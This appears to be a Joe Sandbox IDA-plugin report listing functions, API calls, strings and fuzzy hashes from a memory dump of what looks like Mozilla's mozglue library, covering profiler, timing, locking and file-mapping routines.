GetCurrentThreadId.KERNEL32 ref: 6C56DF7D
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56DF8A
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56DFC9
GetCurrentThreadId.KERNEL32 ref: 6C56DFF7
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56E000
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,6C534A68), ref: 6C56DE7B

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

?RegisterProfilerLabelEnterExit@mozilla@@YAXP6APAXPBD0PAX@ZP6AX1@Z@Z.MOZGLUE(00000000,00000000,?,?,?,6C534A68), ref: 6C56DEB8
free.MOZGLUE(00000000,?,6C534A68), ref: 6C56DEFE
?ReleaseBufferForMainThreadAddMarker@base_profiler_markers_detail@mozilla@@YAXXZ.MOZGLUE ref: 6C56DF38

Strings

[I %d/%d] profiler_set_process_name("%s", "%s"), xrefs: 6C56E00E
<none>, xrefs: 6C56DFD7
[I %d/%d] locked_profiler_stop, xrefs: 6C56DE83

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CurrentThread$getenv$ExclusiveLockProcessRelease_getpid$AcquireBufferEnterExit@mozilla@@Init_thread_footerLabelMainMarker@base_profiler_markers_detail@mozilla@@ProfilerRegisterTerminate__acrt_iob_func__stdio_common_vfprintffree
String ID: <none>$[I %d/%d] locked_profiler_stop$[I %d/%d] profiler_set_process_name("%s", "%s")
API String ID: 1281939033-809102171
Opcode ID: de31195fadc9c65f0c5fe7099f749575cd9c4e5fc1a9e2cb121d996a384d1ca6
Instruction ID: 2ad5f9f4166f7ac54e48aa07ed7e651ff80088267b47c2a0c204d4638b6f6b86
Opcode Fuzzy Hash: de31195fadc9c65f0c5fe7099f749575cd9c4e5fc1a9e2cb121d996a384d1ca6
Instruction Fuzzy Hash: AC41E131B01214DFDB109BA7EC04BAEB775EB86308F650515E90997F01DB719C06CBEA

Function 6C57D840 Relevance: 21.2, APIs: 14, Instructions: 206threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C57D85F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D86C
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D918
GetCurrentThreadId.KERNEL32 ref: 6C57D93C
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D948
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D970
GetCurrentThreadId.KERNEL32 ref: 6C57D976
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D982
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D9CF
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C57DA2E
GetCurrentThreadId.KERNEL32 ref: 6C57DA6F
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57DA78
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE ref: 6C57DA91

Part of subcall function 6C545C50: GetTickCount64.KERNEL32 ref: 6C545D40
Part of subcall function 6C545C50: EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C545D67

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57DAB7

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Count64CriticalEnterSectionStampTickTimeV01@@Value@mozilla@@Xbad_function_call@std@@
String ID:
API String ID: 1195625958-0
Opcode ID: 9a56df6dbcee6584f343ec5029a37ce2054861a265a5c45f539ce4d689c6179b
Instruction ID: 9666144eb58211b95babbc58648636abc66d86ae99d3319cee106e828be11179
Opcode Fuzzy Hash: 9a56df6dbcee6584f343ec5029a37ce2054861a265a5c45f539ce4d689c6179b
Instruction Fuzzy Hash: F1719075604308DFCB00DF65C888B5EBBB5FFC9314F15856AE85A9B301EB31A944CBA5

Function 6C57D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C57D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D52A
GetCurrentThreadId.KERNEL32 ref: 6C57D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D55F
free.MOZGLUE(00000000), ref: 6C57D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C57D5D3
GetCurrentThreadId.KERNEL32 ref: 6C57D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D652
GetCurrentThreadId.KERNEL32 ref: 6C57D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C57D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C57D6A2

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 9872f5fce8cd4c1f5efea5719643389746db5388c1cc48c66d2c872cd308e6a8
Instruction ID: 02262cbdbae9cb43eb496c0562173f864a1256e28f3fb2f1ac9c63b825a01be0
Opcode Fuzzy Hash: 9872f5fce8cd4c1f5efea5719643389746db5388c1cc48c66d2c872cd308e6a8
Instruction Fuzzy Hash: 17519F71604709DFC700DF75C888A9ABBF4FF89318F01862EE94A87711EB31A844CB95

Function 6C521E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C5AE784), ref: 6C521EC1
LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C521EE1
EnterCriticalSection.KERNEL32(6C5AE744), ref: 6C521F38
LeaveCriticalSection.KERNEL32(6C5AE744), ref: 6C521F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C521F83
LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C521FC0
EnterCriticalSection.KERNEL32(6C5AE784), ref: 6C521FE2
LeaveCriticalSection.KERNEL32(6C5AE784), ref: 6C521FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C522019

Strings

MOZ_CRASH(), xrefs: 6C522000
\Zl, xrefs: 6C521F3E
DZl, xrefs: 6C521F56
DZl, xrefs: 6C521F32

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: DZl$DZl$MOZ_CRASH()$\Zl
API String ID: 2055633661-3110301551
Opcode ID: 17f2e4d0f937f5f8ae2b7ee451fcb5f764466bcb635be62c780bd60f31c8ffde
Instruction ID: cfdfa1a531228385e907ee0ef339f16c54a29676dabd62e9f312be4026e03b0a
Opcode Fuzzy Hash: 17f2e4d0f937f5f8ae2b7ee451fcb5f764466bcb635be62c780bd60f31c8ffde
Instruction Fuzzy Hash: F841E171B002598BDF109FFADC88B6F7AB5EB4A308F020125E91597781D7B5AC148BE9

Function 6C545670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5456D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5456E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5456F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C545744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5457BC
GetTickCount64.KERNEL32 ref: 6C5458CB
EnterCriticalSection.KERNEL32(6C5AF688), ref: 6C5458F3
__aulldiv.LIBCMT ref: 6C545945
LeaveCriticalSection.KERNEL32(6C5AF688), ref: 6C5459B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C5AF638,?,?,?,?), ref: 6C5459E9

Strings

MOZ_APP_RESTART, xrefs: 6C5456CC

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: ff7f014f880a32cadbe9e5e8ce050842933a557b77dad561cb1ccaf26f4e5a9f
Instruction ID: e184c2f32af00ef86f6e2ab80ae3e789ad6f40c9bfa0eaee712fa2a52f7fce04
Opcode Fuzzy Hash: ff7f014f880a32cadbe9e5e8ce050842933a557b77dad561cb1ccaf26f4e5a9f
Instruction Fuzzy Hash: 48C16931A083409FDB05CF69D84066EBBF1BFCA754F568B1DE8C497660E730A885CB86

Function 6C56EC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C534A68), ref: 6C56945E
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C569470
Part of subcall function 6C569420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C569482
Part of subcall function 6C569420: __Init_thread_footer.LIBCMT ref: 6C56949F

GetCurrentThreadId.KERNEL32 ref: 6C56EC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C56EC8C

Part of subcall function 6C5694D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5694EE
Part of subcall function 6C5694D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C569508

GetCurrentThreadId.KERNEL32 ref: 6C56ECA1
AcquireSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56ECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C56ECC5
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56ED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C56ED19
CloseHandle.KERNEL32(?), ref: 6C56ED28
free.MOZGLUE(00000000), ref: 6C56ED2F
ReleaseSRWLockExclusive.KERNEL32(6C5AF4B8), ref: 6C56ED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C56EC94

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 900abaac977a3a5c07d02fe202a85927ad2c4119020031863c9f074b3cb510df
Instruction ID: 537530b82b3fd0ed2ba2acd5e1d76e81c8d8437e245ca1f6595f45c48a883287
Opcode Fuzzy Hash: 900abaac977a3a5c07d02fe202a85927ad2c4119020031863c9f074b3cb510df
Instruction Fuzzy Hash: 6E21D175601108EFDB00AFA7EC08A9E7B79EB8636CF114214FD1897B50DB729C068BE5

Function 6C568ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C52EB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C52EB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C56B392,?,?,00000001), ref: 6C5691F4

Part of subcall function 6C55CBE8: GetCurrentProcess.KERNEL32(?,6C5231A7), ref: 6C55CBF1
Part of subcall function 6C55CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5231A7), ref: 6C55CBFA

Strings

timeline-memory, xrefs: 6C569088
data, xrefs: 6C5690E8
marker-chart, xrefs: 6C56905E
name, xrefs: 6C568F16
timeline-overview, xrefs: 6C56907A
timeline-ipc, xrefs: 6C569096
stack-chart, xrefs: 6C5690B2
marker-table, xrefs: 6C56906C
timeline-fileio, xrefs: 6C5690A4

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 85e15f3bc15824bbe310f710ac42f9b84c9f98985ee00f994403b5d51549d958
Instruction ID: 35589f13358674c103f3ee11f42c3dbbd4a87f052c767aa21a99d021fdbce3b7
Opcode Fuzzy Hash: 85e15f3bc15824bbe310f710ac42f9b84c9f98985ee00f994403b5d51549d958
Instruction Fuzzy Hash: D4B1BFB1A00209DBDB04CF9ACC917EEBBF6AB85318F104429D506ABF90D7719D45CBE1

Function 6C54C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C54C5A3
WideCharToMultiByte.KERNEL32 ref: 6C54C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C54C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C54CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C54CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C54CAA5

Strings

0, xrefs: 6C54D30A
(null), xrefs: 6C54C596

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: faf8afcd810b0563e9379a9ccb19bc57f5f2a3de682f61af70a74b5ea17ef54e
Instruction ID: 5886565ccc92127ef473918f448a7de243034815eb3cc07e8dc661f2ebd5340f
Opcode Fuzzy Hash: faf8afcd810b0563e9379a9ccb19bc57f5f2a3de682f61af70a74b5ea17ef54e
Instruction Fuzzy Hash: 5FA19A306093429FDB00DF29C99875ABBE1AFC9748F05C96DE88A97741D731E809CB86

Function 6C54C769 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 159COMMON

Download Yara Rule

APIs

islower.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C54C784
_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C54C801
_dtest.API-MS-WIN-CRT-MATH-L1-1-0(?), ref: 6C54C83D
?ToPrecision@DoubleToStringConverter@double_conversion@@QBE_NNHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C54C891

Strings

inf, xrefs: 6C54C78F
nan, xrefs: 6C54C7A8
INF, xrefs: 6C54C794
NAN, xrefs: 6C54C7AD

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@DoublePrecision@_dsign_dtestislower
String ID: INF$NAN$inf$nan
API String ID: 1991403756-4166689840
Opcode ID: f2c1b62cc866bd7452d49b16fdf9881aac7f85e819b6e2def50b532a3afcd9cb
Instruction ID: 3aaac3c7e3ba5f9e74df8ba7b64bdbe93bd4744888abad43a1f1ce9c08b456c1
Opcode Fuzzy Hash: f2c1b62cc866bd7452d49b16fdf9881aac7f85e819b6e2def50b532a3afcd9cb
Instruction Fuzzy Hash: 405183706087448BD700EF6DC98129EFBF0BFCA304F408A2DE9D597651E771E9898B42

Function 6C523480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C523492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C5234A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C5234EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C52350E
__Init_thread_footer.LIBCMT ref: 6C523522
__aulldiv.LIBCMT ref: 6C523552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C52357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C523592

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C523508
kernel32.dll, xrefs: 6C5234EA

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: 24633e4155d2741757dcdf434ebac8adebf6c17e13289329b3c7c7c6b72e2168
Instruction ID: c9967eb697c0325d3a08d69a40da22b82bf545efbbc3892b3ea6b35e77d914d2
Opcode Fuzzy Hash: 24633e4155d2741757dcdf434ebac8adebf6c17e13289329b3c7c7c6b72e2168
Instruction Fuzzy Hash: 5F31C471B001099BDF00DFF6EC48AAE77B9FB45308F12051AE545E36A0EB74A905CBA4

Function 6C524480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C564843,?), ref: 6C5245F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C564843,?), ref: 6C52468A
free.MOZGLUE(?,?,?,?,?,?,6C564843,?), ref: 6C5246C9
free.MOZGLUE(?), ref: 6C5246EF
free.MOZGLUE(?), ref: 6C524712
free.MOZGLUE(?), ref: 6C524735
free.MOZGLUE(?), ref: 6C524758
free.MOZGLUE(?), ref: 6C52477B
free.MOZGLUE(?), ref: 6C52479E

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 7204dee59241139264b38f4c03801281731a6a03d187dc93e26b954f26efdff8
Instruction ID: 4ac978a39d7594c62dbe5ae0e6e99aa7621b525015d268f9b475192cb753b8bf
Opcode Fuzzy Hash: 7204dee59241139264b38f4c03801281731a6a03d187dc93e26b954f26efdff8
Instruction Fuzzy Hash: 84B1D371A001508FDB18DF7CDC9476D77E2EF82328F184669E866DBBD6E73898408B81

Function 6C58AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C58AC52
CreateFileMappingW.KERNEL32 ref: 6C58AC7D
GetSystemInfo.KERNEL32 ref: 6C58AC98
MapViewOfFile.KERNEL32 ref: 6C58ACB0
GetSystemInfo.KERNEL32 ref: 6C58ACCD
MapViewOfFile.KERNEL32 ref: 6C58AD05
UnmapViewOfFile.KERNEL32 ref: 6C58AD1C
CloseHandle.KERNEL32 ref: 6C58AD28
UnmapViewOfFile.KERNEL32 ref: 6C58AD37
CloseHandle.KERNEL32 ref: 6C58AD43
CloseHandle.KERNEL32 ref: 6C58AD67

Memory Dump Source

Source File: 00000000.00000002.2527083895.000000006C521000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C520000, based on PE: true

Associated: 00000000.00000002.2527064759.000000006C520000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527141531.000000006C59D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527166861.000000006C5AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2527186524.000000006C5B2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c520000_ZXVcgrmGRM.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 6bd27bc70299b4ae84d2ea689f8723af1024ff9d8039623491b4c518749f1081
Instruction ID: c488da1515271e4c588059b6cf9e4088b93421b6bb5f0350de745426e561a369
Opcode Fuzzy Hash: 6bd27bc70299b4ae84d2ea689f8723af1024ff9d8039623491b4c518749f1081
Instruction Fuzzy Hash: D23140B19057488FDB00FFB9DA4826EBBF0BF85305F02492DE98597251EB709458CBC6

Function 6C539620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C539675
__Init_thread_footer.LIBCMT ref: 6C539697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5396E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C539707
__Init_thread_footer.LIBCMT ref: 6C53971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C539773

Part of subcall function 6C55AB89: EnterCriticalSection.KERNEL32(6C5AE370,?,?,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284), ref: 6C55AB94
Part of subcall function 6C55AB89: LeaveCriticalSection.KERNEL32(6C5AE370,?,6C5234DE,6C5AF6CC,?,?,?,?,?,?,?,6C523284,?,?,6C5456F6), ref: 6C55ABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5397B7
FreeLibrary.KERNEL32 ref: 6C5397D0
FreeLibrary.KERNEL32 ref: 6C5397EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C539824

Strings

ntdll.dll, xrefs: 6C5396E3
NtMapViewOfSection, xrefs: 6C539701
Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C539670
